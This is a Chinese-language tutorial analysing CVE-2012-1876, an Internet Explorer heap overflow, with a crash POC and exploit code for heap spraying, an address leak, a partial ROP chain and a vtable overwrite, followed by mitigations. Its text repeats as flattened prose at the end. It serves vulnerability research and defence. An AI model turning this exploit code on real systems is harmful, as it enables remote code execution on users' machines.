Internet Explorer漏洞分析(一)——CVE-2012-1876
字数 1540 2025-08-10 08:28:37

CVE-2012-1876 Internet Explorer 漏洞分析与利用教学文档

0x01 漏洞概述

1.1 基本信息

  • 漏洞编号: CVE-2012-1876
  • 漏洞类型: 堆溢出(Heap Overflow)
  • 影响范围: 远程代码执行(RCE)
  • CVSS 2.0评分: 9.3
  • 受影响版本: Internet Explorer 6-9, 10 Consumer Preview
  • 修复方案: MS12-037安全更新

1.2 漏洞原理

漏洞存在于mshtml.dll中的CTableLayout::CalculateMinMax函数。该函数在循环向堆分配的内存缓冲区写入数据时,未正确校验<col>标签的span属性值。攻击者可通过精心构造的span属性值导致堆溢出,进而实现远程代码执行。

0x02 环境搭建

2.1 分析环境配置

  • 操作系统: Windows XP Service Pack 3
  • 浏览器版本: Internet Explorer 8.0.6001.18702
  • 关键模块: mshtml.dll 8.0.6001.18702
  • 调试工具: WinDbg

2.2 调试环境准备

  1. 使用gflags.exe为iexplore.exe开启页堆:
    gflags.exe /i iexplore.exe +hpa
    
  2. 启动WinDbg并附加到iexplore.exe进程
  3. 启用子进程调试:
    .childdbg 1
    

0x03 漏洞分析

3.1 POC分析

<html>
<body>
<table style="table-layout:fixed">
<col id="132" width="41" span="1">&nbsp</col>
</table>
<script>
function over_trigger() {
    var obj_col = document.getElementById("132");
    obj_col.width = "42765";
    obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>

3.2 关键函数分析

漏洞位于CTableLayout::CalculateMinMax函数中,具体问题如下:

  1. 内存分配逻辑:

    • 函数根据<col>标签的span属性值之和(span_sum)决定分配内存大小
    • span_sum小于4时,分配固定0x70大小的堆块
    • span_sum不小于4时,分配0x1C*span_sum大小的堆块
  2. 写入逻辑缺陷:

    • 分配完成后,会将span_sum写入ebx+98h位置
    • span_sum<<2写入ebx+94h位置
    • 第二次执行时不会重新分配内存,而是直接使用上次分配的堆块
    • 如果修改后的span值大于修改前值,会导致堆溢出

3.3 崩溃点分析

崩溃发生在CTableColCalc::AdjustForCol函数中,当尝试向已分配堆块之外的内存写入数据时触发。

0x04 漏洞利用

4.1 利用步骤概述

  1. Heap Spray布局内存
  2. 释放特定内存区域
  3. 使用<col>标签占位释放的内存
  4. 触发堆溢出修改BSTR长度
  5. 通过越界读取获取虚表指针计算基址
  6. 再次Heap Spray布局ROP链和Shellcode
  7. 触发第二次堆溢出修改虚表指针

4.2 详细利用代码分析

4.2.1 初始内存布局

var leak_index = -1;
var dap = "EEEE";
while (dap.length < 480) dap += dap;
var padding = "AAAA"; 
while (padding.length < 480) padding += padding;
var filler = "BBBB";
while (filler.length < 480) filler += filler;

// 内存喷射
var arr = new Array();
var rra = new Array();
var div_container = document.getElementById("test");
div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {
    rra[i] = dap.substring(0, (0x100-6)/2);  // E
    arr[i] = padding.substring(0, (0x100-6)/2); // A
    arr[i+1] = filler.substring(0, (0x100-6)/2); // B
    var obj = document.createElement("button");
    div_container.appendChild(obj);
}

// 释放部分内存
for (var i=200; i<500; i+=2) {
    rra[i] = null;
    CollectGarbage();
}

4.2.2 占位释放的内存

<table style="table-layout:fixed"><col id="0" width="41" span="9">&nbsp</col></table>
<table style="table-layout:fixed"><col id="1" width="41" span="9">&nbsp</col></table>
...
<table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp</col></table>

4.2.3 第一次溢出

var obj_col = document.getElementById("132");
obj_col.span = 19;  // 触发第一次溢出

4.2.4 信息泄露

function over_trigger() {
    var leak_addr = -1;
    for (var i = 0; i < 500; i++) {
        if (arr[i].length > (0x100-6)/2) { // 找到被溢出的BSTR
            leak_index = i;
            var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2);
            leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
            mshtmlbase = leak_addr - Number(0x001582b8); // 计算基址
            break;
        }
    }
    // ... 错误处理
}

4.2.5 ROP链构造

function rop_chain(mshtmlbase) {
    var arr = [
        mshtmlbase + Number(0x00001031),
        mshtmlbase + Number(0x00002c78), // pop ebp; retn
        mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot)
        // ... 更多ROP gadget
    ];
    return arr;
}

4.2.6 最终利用

function smash_vtable() {
    var obj_col_0 = document.getElementById("132");
    obj_col_0.width = "1178993"; // 覆盖虚表指针 0x07070024
    obj_col_0.span = "44"; // 覆盖长度
}

// 定时触发
setTimeout("over_trigger();",1);
setTimeout("heap_spray();",400);
setTimeout("smash_vtable();",700);

0x05 防御措施

  1. 及时更新: 应用Microsoft提供的安全更新MS12-037
  2. 缓解措施:
    • 启用DEP(数据执行保护)
    • 使用EMET(增强缓解体验工具包)
    • 禁用Active Scripting
  3. 开发建议:
    • 对所有用户输入进行严格验证
    • 使用安全的字符串处理函数
    • 实现堆保护机制如Heap Cookies

0x06 参考链接

  1. Microsoft Security Bulletin MS12-037
  2. CVE-2012-1876 Detail
  3. Understanding Heap Overflows

本教学文档详细分析了CVE-2012-1876漏洞的原理、利用方法及防御措施,适用于安全研究人员进行漏洞分析和防护方案设计。实际利用时请注意法律和道德规范。

CVE-2012-1876 Internet Explorer 漏洞分析与利用教学文档 0x01 漏洞概述 1.1 基本信息 漏洞编号 : CVE-2012-1876 漏洞类型 : 堆溢出(Heap Overflow) 影响范围 : 远程代码执行(RCE) CVSS 2.0评分 : 9.3 受影响版本 : Internet Explorer 6-9, 10 Consumer Preview 修复方案 : MS12-037安全更新 1.2 漏洞原理 漏洞存在于mshtml.dll中的 CTableLayout::CalculateMinMax 函数。该函数在循环向堆分配的内存缓冲区写入数据时,未正确校验 <col> 标签的 span 属性值。攻击者可通过精心构造的 span 属性值导致堆溢出,进而实现远程代码执行。 0x02 环境搭建 2.1 分析环境配置 操作系统 : Windows XP Service Pack 3 浏览器版本 : Internet Explorer 8.0.6001.18702 关键模块 : mshtml.dll 8.0.6001.18702 调试工具 : WinDbg 2.2 调试环境准备 使用gflags.exe为iexplore.exe开启页堆: 启动WinDbg并附加到iexplore.exe进程 启用子进程调试: 0x03 漏洞分析 3.1 POC分析 3.2 关键函数分析 漏洞位于 CTableLayout::CalculateMinMax 函数中,具体问题如下: 内存分配逻辑 : 函数根据 <col> 标签的 span 属性值之和( span_sum )决定分配内存大小 当 span_sum 小于4时,分配固定0x70大小的堆块 当 span_sum 不小于4时,分配 0x1C*span_sum 大小的堆块 写入逻辑缺陷 : 分配完成后,会将 span_sum 写入 ebx+98h 位置 将 span_sum<<2 写入 ebx+94h 位置 第二次执行时不会重新分配内存,而是直接使用上次分配的堆块 如果修改后的 span 值大于修改前值,会导致堆溢出 3.3 崩溃点分析 崩溃发生在 CTableColCalc::AdjustForCol 函数中,当尝试向已分配堆块之外的内存写入数据时触发。 0x04 漏洞利用 4.1 利用步骤概述 Heap Spray布局内存 释放特定内存区域 使用 <col> 标签占位释放的内存 触发堆溢出修改BSTR长度 通过越界读取获取虚表指针计算基址 再次Heap Spray布局ROP链和Shellcode 触发第二次堆溢出修改虚表指针 4.2 详细利用代码分析 4.2.1 初始内存布局 4.2.2 占位释放的内存 4.2.3 第一次溢出 4.2.4 信息泄露 4.2.5 ROP链构造 4.2.6 最终利用 0x05 防御措施 及时更新 : 应用Microsoft提供的安全更新MS12-037 缓解措施 : 启用DEP(数据执行保护) 使用EMET(增强缓解体验工具包) 禁用Active Scripting 开发建议 : 对所有用户输入进行严格验证 使用安全的字符串处理函数 实现堆保护机制如Heap Cookies 0x06 参考链接 Microsoft Security Bulletin MS12-037 CVE-2012-1876 Detail Understanding Heap Overflows 本教学文档详细分析了CVE-2012-1876漏洞的原理、利用方法及防御措施,适用于安全研究人员进行漏洞分析和防护方案设计。实际利用时请注意法律和道德规范。